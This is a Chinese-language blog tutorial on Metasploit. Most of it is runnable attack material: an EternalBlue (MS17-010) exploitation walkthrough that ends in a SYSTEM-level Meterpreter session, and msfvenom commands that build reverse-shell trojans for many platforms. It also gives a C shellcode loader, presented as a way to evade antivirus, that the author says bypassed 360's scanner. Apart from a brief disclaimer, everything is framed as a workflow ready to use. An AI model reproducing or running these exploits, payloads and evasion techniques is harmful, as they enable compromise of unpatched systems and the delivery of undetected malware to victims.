主頁 >  其他 > MSF的使用教程

MSF的使用教程

2022-03-10 13:40:01 其他

公眾號:白帽子左一 

本文僅用于技術討論,禁止用于違法途徑

MSF簡介

Metasploit(MSF)是一個免費的、可下載的框架,通過它可以很容易地獲取、開發并對計算機軟體漏洞實施攻擊,它本身附帶數百個已知軟體漏洞,是一款專業級漏洞攻擊工具,

當H.D. Moore在2003年發布Metasploit時,計算機安全狀況也被永久性地改變了,仿佛一夜之間,任何人都可以成為黑客,因為只要掌握MSF的使用方法,每個人都可以使用MSF來攻擊那些未打過補丁或者剛剛打過補丁的漏洞,也因此軟體廠商再也不能推遲發布針對已公布漏洞的補丁了,因為Metasploit團隊一直都在努力開發各種攻擊工具,并將它們貢獻給所有Metasploit用戶,

MSF安裝介紹

MSF官網:https://www.metasploit.com/

MSF有兩個版本,Metaploit是開源免費的,Metaploit pro的商業收費的,這里我們用免費的社區版就可以了

MSF下載地址:https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

MSF安裝

(1)一鍵式安裝

在Linux / macOS上安裝Metasploit,這里有官方提供的腳本,可以一鍵式安裝

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall

(2)手動安裝

注意:如果上面方法不可行,也可以進行手動安裝

Debian / Ubuntu軟體包位于https://apt.metasploit.com,而CentOS / Redhat / Fedora軟體包位于https://rpm.metasploit.com

ubuntu安裝
https://apt.metasploit.com/下載MSF 的deb安裝包,
在終端運行:dpkg -i metasploit-framework_6.0.7+20200916102431_1rapid7-1_amd64.deb
就已經安裝好了,資料庫的安裝看上面的步驟

Centos安裝
https://rpm.metasploit.com下載 rpm安裝包
在終端運行:rpm-i metasploit-framework-6.0.7+20200916102441~1rapid7-1.el6.x86_64.rpm

安裝完成

安裝postgresql資料庫

msf使用的是postgresql資料庫,如果沒有的話需要先安裝

安裝資料庫的時候會自動創建系統用戶postgres,資料庫用戶postgres,資料庫postgres

1apt-get install postgresql //安裝postgresql資料庫

2su - postgres //切換到postgres用戶

3psql //登陸postgresql資料庫,首次登陸沒有密碼

4\password postgres //修改資料庫用戶postgres的密碼

msf更新命令:

sudo msfupdate

msf使用資料庫

1msfconsole //啟動msf

2db_connect postgres:hehehe@127.0.0.1/test //用戶名,密碼,地址,自己隨意編造的名字,

3db_status //查看資料庫連接狀態

MSF的功能模塊介紹

MSF所用功能主要可分為這幾個模塊,每個模塊都有各自的功能領域,形成了滲透測驗的流程

1、Auxiliary(輔助模塊)
為滲透測驗資訊搜集提供了大量的輔助模塊支持
2、Exploits(攻擊模塊)
利用發現的安全漏洞或配置弱點對遠程目標系統 進行攻擊,從而獲得對遠程目標系統訪問權的代碼組件,
3、Payload(攻擊載荷模塊)
攻擊成功后促使靶機運行的一段植入代碼
4、Post (后滲透攻擊模塊)
收集更多資訊或進一步訪問被利用的目標系統
5、Encoders(編碼模塊)
將攻擊載荷進行編碼,來繞過防護軟體攔截

MSF的基本使用方法

例如攻擊永恒之藍:

開啟資料庫:service postgresql start

初始化msf資料庫:msfdb init

開啟MSF:msfconsole

這里我們拿永恒之藍這個漏洞進行簡單的使用

首先要保證是能夠訪問到目標機器的,那么我們先ping一下目標機器,看網路是否連通

此時是連通的狀態

永恒之藍的漏洞編號:ms17-010

根據漏洞名稱搜索 : search ms17_010

1、運用輔助模塊掃描目標

設定模塊:use auxiliary/scanner/smb/smb_ms17_010

查看設定:options

設定目標地址:set rhosts 192.168.174.129

目標埠默認是445,如果用nmap埠掃描windows檔案共享服務不是開放在445埠上面,那這里需要進行修改,set rport 目標埠

設定好了之后,run或者exploit 進行攻擊

綠色的加號為可攻擊

2、設定攻擊模塊對目標進行攻擊

使用攻擊模塊:use exploit/windows/smb/ms17_010_eternalblue

查看所需設定:options

設定目標地址:set RHOSTS 192.168.174.129

設定目標埠:set RPORT 445

設定payload:set payload windows/x64/meterpreter/reverse_tcp

設定本地地址:set LHOST 192.168.174.192

攻擊:run或者exploit

攻擊成功,成功拿到會話

注意:存在一定機率將目標機器打成藍屏或者重啟

查看目前權限

系統權限,想干什么都可以了~

MSF后門生成模塊

Msfvenom常用命令引數

  1. -l, --list <type>
  2. # 列出所有可用的專案,其中值可以被設定為 payloads, encoders, nops, platforms, archs, encrypt, formats等等
  3. -p, --payload <payload>
  4. # 指定特定的 Payload,如果被設定為 - ,那么從標準輸入流中讀取
  5. --list-options
  6. # 列出--payload <value> 的標準,高級和規避選項
  7. -f, --format <format>
  8. # 指定 Payload 的輸出格式(使用 --list formats 列出)
  9. -e, --encoder <encoder>
  10. # 指定使用的 Encoder (使用 --list encoders 列出)
  11. --sec-name <value>
  12. # 生成大型Windows二進制檔案時使用的新名稱,默認值:隨機4個字符的字串
  13. --smallest
  14. # 使用所有可用的編碼器生成最小的payload
  15. --encrypt <value>
  16. # 應用于shellcode的加密或編碼型別 (使用--list encrypt 列出)
  17. --encrypt-key <value>
  18. # 用于加密的密鑰
  19. --encrypt-iv <value>
  20. # 加密的初始化向量
  21. -a, --arch <arch>
  22. # 指定目標系統架構(使用 --list archs 列出)
  23. --platform <platform>
  24. # 指定目標系統平臺 (使用 --list platforms 列出)
  25. -o, --out <path>
  26. # 保存payload檔案
  27. -b, --bad-chars <list>
  28. # 設定需要在 Payload 中避免出現的字符,如: '\x00\xff'
  29. -n, --nopsled <length>
  30. # 指定 nop 在 payload 中的數量
  31. -s, --space <length>
  32. # 設定未經編碼的 Payload 的最大長度
  33. --encoder-space <length>
  34. # 編碼后的 Payload 的最大長度
  35. -i, --iterations <count>
  36. # 設定 Payload 的編碼次數
  37. -c, --add-code <path>
  38. # 指定包含一個額外的win32 shellcode檔案
  39. -x, --template <path>
  40. # 指定一個特定的可執行檔案作為模板
  41. -k, --keep
  42. # 保護模板程式的功能,注入的payload作為一個新的行程運行
  43. -v, --var-name <value>
  44. # 指定一個變數名(當添加 -f 引數的時候,例如 -f python,那么輸出為 python 代碼, payload 會被按行格式化為 python 代碼,追加到一個 python 變數中,這個引數即為指定 python 變數的變數名)
  45. -t, --timeout <second>
  46. # 設定從STDIN讀取payload的等待時間(默認為30,0為禁用)
  47. -h, --help
  48. # 幫助

msfvenom生成shellcode

普通生成

  1. msfvenom -p 有效載荷 -f 輸出格式 -o 輸出檔案
  2. msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe

編碼生成

  1. msfvenom -a 系統架構 --platform 系統平臺 -p 有效載荷 lhost=攻擊機IP lport=攻擊機埠 -e 編碼方式 -i編碼次數 -f 輸出格式 -o 輸出檔案
  2. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe

msfvenom —list archs #查看支持的系統架構

  1. aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch

msfvenom —list platforms #查看支持系統平臺

  1. aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows

msfvenom -l payload #列出所有可用的payload

msfvenom -l formats #列出所有的輸出格式

msfvenom -l encrypt #列出所有的加密方式

msfvenom -l encoders #列出所有的編碼器

常見生成格式

1、 Windows

msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe

2、Linux

msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf

3、Mac

msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho

4、Android

msfvenom -p android/meterpreter/reverse_tcp -o payload.apk

5、Aspx

msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx

6、JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp

7、PHP

msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php

8、BASH

msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh

9、Python

msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py

木馬如何免殺

木馬繞過免殺本質上還是更改他的特征碼,那么總結一下可以有

  1. 編碼
  2. 加殼免殺
  3. 二次編譯
  4. 分離免殺:即將ShellCode和加載器分離

目前msfvenom的encoder特征基本都進入了殺軟的漏洞庫,很難實作單一encoder編碼而繞過殺軟,所以對shellcode進行進一步修改編譯成了msf免殺的主流,互聯網上有很多借助于C、C#、python等語言對shellcode進行二次編碼從而達到免殺的效果,

第一步:安裝編譯軟體VC++6.0

第二步:生成一個常見的木馬

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=192.168.174.196 lport=1250 -f c

第三步、編譯c語言為exe檔案

  1. #include "stdafx.h"
  2. #include <stdio.h>
  3. #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
  4. unsigned char buf[] =
  5. (這里放生成好的陣列)
  6. main()
  7. {
  8. ((void(*)(void))&buf)();
  9. }

打開vc6.0,新建一個程式

選擇一個簡單的win32程式

打開a.app

將我們的代碼復制進去

編譯一下,看是否有問題

再編譯一下a.cpp

沒有問題的話,就可以組建a.exe了,這個檔案就是我們要的木馬檔案

第四步、測驗是否成功

把得到的a.exe 復制到桌面,右鍵用360的木馬云查殺功能試一下

成功繞過~

再測驗一下我們的木馬是否有用,打開MSF開啟監聽

  1. 開啟監聽:msf5 > use exploit/multi/handler
  2. 設定payload,和生成的木馬保持一致:set payload windows/meterpreter/reverse_tcp
  3. 設定本地地址,和木馬一致:set lhost 192.168.174.196
  4. 設定本地埠,和木馬一致:set lport 1250

  1. msf5 exploit(multi/handler) > run

成功拿到會話了, 證明我們的木馬沒啥問題~

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/440390.html

標籤:其他

上一篇:入門clash 及 proxy 坑點

下一篇:淺析HTTPS的通信機制

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more